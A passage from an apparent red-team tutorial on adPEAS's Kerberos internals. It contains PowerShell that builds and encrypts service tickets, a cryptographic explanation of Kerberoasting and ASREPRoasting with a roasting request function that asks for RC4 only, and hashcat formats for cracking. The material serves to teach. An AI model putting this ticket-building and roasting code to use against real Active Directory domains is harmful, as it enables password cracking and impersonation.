    $sessionKeyEType = 18  # AES256

    # Build the PAC (Privilege Attribute Certificate)
    $pac = New-PAC -Username $Username -UserId $UserId `
                   -Domain $Domain -DomainSID $DomainSID `
                   -ServiceKey $ServiceKey -ServiceKeyEType $ServiceKeyEType

    # Authorization data: AD-IF-RELEVANT -> AD-WIN2K-PAC
    $authData = New-ASN1SequenceOf @(
        (New-ASN1Sequence @(
            (New-ASN1ContextTag 0 (New-ASN1Integer 1)),    # AD-IF-RELEVANT
            (New-ASN1ContextTag 1 (New-ASN1OctetString (
                New-ASN1SequenceOf @(
                    (New-ASN1Sequence @(
                        (New-ASN1ContextTag 0 (New-ASN1Integer 128)),  # AD-WIN2K-PAC
                        (New-ASN1ContextTag 1 (New-ASN1OctetString $pac))
                    ))
                )
            )))
        ))
    )

    # EncTicketPart
    $encTicketPart = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-TicketFlags @('forwardable','renewable','initial','pre-authent'))),
        (New-ASN1ContextTag 1 (New-EncryptionKey $sessionKey $sessionKeyEType)),
        (New-ASN1ContextTag 2 (New-ASN1GeneralString $Domain.ToUpper())),
        (New-ASN1ContextTag 3 (New-PrincipalName -Type 1 -Names @($Username))),
        (New-ASN1ContextTag 4 (New-TransitedEncoding)),
        (New-ASN1ContextTag 5 (New-ASN1GeneralizedTime $AuthTime)),
        (New-ASN1ContextTag 6 (New-ASN1GeneralizedTime $AuthTime)),
        (New-ASN1ContextTag 7 (New-ASN1GeneralizedTime $EndTime)),
        (New-ASN1ContextTag 8 (New-ASN1GeneralizedTime $EndTime.AddDays(7))),
        (New-ASN1ContextTag 9 $authData)
    )

    # Wrap in Application tag [3]
    $encTicketPartApp = New-ASN1ApplicationTag 3 $encTicketPart

    # Encrypt with service key
    $encryptedPart = Encrypt-KerberosData -Key $ServiceKey -EType $ServiceKeyEType `
                     -Usage 2 -Plaintext $encTicketPartApp

    # Build the Ticket
    $snameParts = $ServiceName -split '/'
    $snameType = if ($snameParts.Length -gt 1) { 2 } else { 1 }

    $ticket = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-ASN1Integer 5)),        # tkt-vno
        (New-ASN1ContextTag 1 (New-ASN1GeneralString $Domain.ToUpper())),
        (New-ASN1ContextTag 2 (New-PrincipalName -Type $snameType -Names $snameParts)),
        (New-ASN1ContextTag 3 (New-EncryptedData -EType $ServiceKeyEType `
                               -KVno 2 -Data $encryptedPart))
    )

    # Wrap in Application tag [1]
    $ticketApp = New-ASN1ApplicationTag 1 $ticket

    # Return both the ticket and the session key (needed for KRB-CRED)
    return @{
        Ticket     = $ticketApp
        SessionKey = $sessionKey
        SessionKeyEType = $sessionKeyEType
    }
}

Part 6: Why Kerberoasting and ASREPRoasting Work

Now that you understand the full stack — ASN.1 encoding, key derivation, encryption, and ticket structures — let us see why the two most common Kerberos attacks work.

Kerberoasting: The Cryptographic Explanation

The setup:

  1. Any authenticated user can request a Service Ticket for any SPN
  2. The Service Ticket’s enc-part is encrypted with the service account’s key
  3. The service account’s key is derived from its password

The attack:

+----------+                                +---------+
|  Client  |                                |   KDC   |
+----+-----+                                +----+----+
     |                                           |
     |  TGS-REQ for SPN "MSSQLSvc/db01:1433"     |
     |  (any authenticated user can do this)     |
     |------------------------------------------>|
     |                                           |
     |                               TGS-REP     |
     |  +-- ticket:                              |
     |      +-- enc-part:                        |
     |          +-- etype: 23 (RC4) or 18 (AES)  |
     |          +-- cipher: Encrypt(             |
     |              service_account_key,         |
     |              EncTicketPart)               |
     |<------------------------------------------|
     |                                           |
     |  NOW OFFLINE:                             |
     |  For each candidate password:             |
     |    1. Derive key from password            |
     |    2. Try to decrypt enc-part             |
     |    3. Check if decrypted data is valid    |
     |       ASN.1 (Application tag [3])         |
     |    4. If valid -> password found!         |
     |                                           |

Why it works — the crypto details:

For RC4-HMAC (etype 23):

1. Key = MD4(UTF-16LE(password))          # No salt, no iterations
2. K1 = HMAC-MD5(Key, usage=2)            # Usage 2 = ticket encryption
3. Checksum = first 16 bytes of cipher
4. K2 = HMAC-MD5(K1, Checksum)
5. Plaintext = RC4(K2, remaining cipher)
6. Verify: HMAC-MD5(K1, Plaintext) == Checksum?

This is fast because:

  • MD4 is extremely fast (no iterations)
  • One HMAC-MD5 + one RC4 decryption per attempt
  • The checksum provides instant verification
  • Modern GPUs can test billions of RC4-HMAC candidates per second

For AES (etype 18):

1. Salt = "CONTOSO.COM" + sAMAccountName
2. Key = PBKDF2-SHA1(password, salt, 4096, 32)
3. Ke = DK(Key, usage=2 + 0xAA)
4. Ki = DK(Key, usage=2 + 0x55)
5. Decrypt AES-CTS with Ke
6. Verify: HMAC-SHA1(Ki, plaintext)[0..11] == checksum?

This is slower because:

  • PBKDF2 with 4096 iterations (4096x slower than RC4)
  • AES decryption is more complex than RC4
  • But still feasible for weak passwords

Why adPEAS requests RC4 when Kerberoasting:

# In the TGS-REQ, adPEAS lists etypes in this order:
$etypes = @(23)  # Only RC4-HMAC

# Why? Because:
# 1. RC4 tickets are MUCH faster to crack
# 2. The KDC will use RC4 if the service account supports it
# 3. Most service accounts still have RC4 enabled

ASREPRoasting: The Missing Pre-Authentication

Normal AS exchange (pre-auth required):

Client                                      KDC
  |                                          |
  |  AS-REQ (no pre-auth data)               |
  |----------------------------------------->|
  |                                          |
  |  KRB-ERROR: PREAUTH_REQUIRED             |
  |  (tells client which pre-auth to use)    |
  |<-----------------------------------------|
  |                                          |
  |  AS-REQ with PA-ENC-TIMESTAMP            |
  |  (timestamp encrypted with user key)     |
  |----------------------------------------->|
  |                                          |
  |  KDC decrypts timestamp, verifies it     |
  |  Only THEN sends the AS-REP              |
  |                                          |
  |  AS-REP (TGT + enc-part)                 |
  |<-----------------------------------------|
  |                                          |

ASREPRoast (pre-auth disabled — DONT_REQ_PREAUTH flag):

Client                                      KDC
  |                                          |
  |  AS-REQ (no pre-auth data)               |
  |  (just the username, nothing else)       |
  |----------------------------------------->|
  |                                          |
  |  KDC does NOT verify identity!           |
  |  Just builds and sends the AS-REP        |
  |                                          |
  |  AS-REP:                                 |
  |  +-- ticket: TGT (encrypted with         |
  |  |   krbtgt key -- we cannot crack this) |
  |  +-- enc-part: (encrypted with the       |
  |      USER'S key -- THIS we can crack!)   |
  |<-----------------------------------------|
  |                                          |
  |  NOW OFFLINE:                            |
  |  The enc-part is encrypted with the      |
  |  user's key (derived from password).     |
  |  Same brute-force as Kerberoasting.      |
  |                                          |

The critical difference: With normal pre-authentication, the KDC verifies the client knows the password BEFORE sending any encrypted material. Without pre-auth, the KDC just hands over the encrypted material to anyone who asks.

# adPEAS ASREPRoast request -- no pre-auth data at all
function New-ASREPRoastRequest {
    param(
        [string]$Username,
        [string]$Realm
    )

    # Build AS-REQ WITHOUT any padata
    $reqBody = New-ASN1Sequence @(
        (New-ASN1ContextTag 0 (New-KDCOptions "forwardable,renewable,canonicalize,renewable-ok")),
        (New-ASN1ContextTag 1 (New-PrincipalName -Type 1 -Names @($Username))),
        (New-ASN1ContextTag 2 (New-ASN1GeneralString $Realm)),
        (New-ASN1ContextTag 3 (New-PrincipalName -Type 2 -Names @("krbtgt", $Realm))),
        (New-ASN1ContextTag 5 (New-ASN1GeneralizedTime "20370913024805Z")),
        (New-ASN1ContextTag 7 (New-ASN1Integer (Get-Random -Maximum ([int32]::MaxValue)))),
        (New-ASN1ContextTag 8 (New-ASN1SequenceOf @(
            (New-ASN1Integer 23)   # Request RC4 only for faster cracking
        )))
    )

    $kdcReq = New-ASN1Sequence @(
        (New-ASN1ContextTag 1 (New-ASN1Integer 5)),     # pvno
        (New-ASN1ContextTag 2 (New-ASN1Integer 10)),    # msg-type (AS-REQ)
        # NO [3] padata -- that is the whole point
        (New-ASN1ContextTag 4 $reqBody)
    )

    return (New-ASN1ApplicationTag 10 $kdcReq)
}

Hash Format for Cracking

adPEAS outputs hashes in standard hashcat/John formats:

Kerberoasting (hashcat mode 13100 for RC4, 19700 for AES):

$krb5tgs$23$*sqlsvc$CONTOSO.COM$MSSQLSvc/db01.contoso.com:1433*$<checksum>$<cipher>
$krb5tgs$18$*sqlsvc$CONTOSO.COM$MSSQLSvc/db01.contoso.com:1433*$<checksum>$<cipher>

ASREPRoasting (hashcat mode 18200):

$krb5asrep$23$admin@CONTOSO.COM:<checksum>$<cipher>

Summary

The Kerberos Stack

Everything we covered in this episode, layered from bottom to top:

+---------------------------------------------------------------+
|                     Kerberos Attacks                          |
|  Kerberoasting, ASREPRoast, Golden/Silver/Diamond Tickets     |
+---------------------------------------------------------------+
|                     Ticket Structure                          |
|  Ticket, EncTicketPart, PAC, Authorization Data               |
+---------------------------------------------------------------+
|                     Message Types                             |
|  AS-REQ/REP, TGS-REQ/REP, AP-REQ/REP, KRB-CRED                |
+---------------------------------------------------------------+
|                     Encryption                                |
|  RC4-HMAC, AES-CTS-HMAC-SHA1-96, Checksums                    |
+---------------------------------------------------------------+
|                     Key Derivation                            |
|  MD4 (RC4), PBKDF2 + n-fold + DK (AES), Ke/Ki/Kc              |
+---------------------------------------------------------------+
|                     ASN.1 / DER Encoding                      |
|  Tag-Length-Value, Context Tags, SEQUENCE, APPLICATION        |
+---------------------------------------------------------------+
|                     Network Transport                         |
|  TCP/UDP port 88, Kerberos realm, KDC discovery               |
+---------------------------------------------------------------+

Key Takeaways

  1. ASN.1 is the foundation. Every Kerberos message is ASN.1 DER encoded. Understanding TLV encoding and context-specific tags is essential for building or parsing any Kerberos message.

  2. Key derivation is the weakest link. RC4-HMAC uses a single unsalted MD4 hash. AES uses PBKDF2 with 4096 iterations and a salt. This difference is why RC4 tickets are orders of magnitude faster to crack.

  3. Encryption determines attack feasibility. RC4-HMAC is fast to brute-force. AES-CTS-HMAC-SHA1 is significantly slower. Always prefer AES in production; always request RC4 when attacking.

  4. Tickets are opaque to clients. The client never sees inside the TGT or Service Ticket. But the encrypted data contains everything: session keys, timestamps, PAC, flags. If you have the encryption key, you can build anything.

  5. Kerberoasting works because the Service Ticket is encrypted with the service account’s password. The KDC hands over the encrypted material to any authenticated user. No special privileges needed.

  6. ASREPRoasting works because the KDC skips identity verification. Without pre-authentication, anyone can request an AS-REP and get material encrypted with the user’s key.

  7. adPEAS builds everything from scratch. No dependencies on external libraries. Pure PowerShell ASN.1 encoding, key derivation, and encryption. This means it works on any Windows system with PowerShell.

Looking Ahead

In the next episode, we will go even deeper into the PAC (Privilege Attribute Certificate) — the data structure inside every ticket that determines who you are and what groups you belong to. We will see how adPEAS forges PACs for Golden, Silver, and Diamond Tickets, including the cryptographic signatures that make the KDC trust a forged ticket.


← Episode 6: Offensive Operations | Episode 8: PAC & Ticket Forging — coming soon

About the Author

Alexander Sturz

Founder & Red Team Lead

Active Directory Ninja and offensive security expert specializing in enterprise infrastructure compromise and post-exploitation techniques.

Related Articles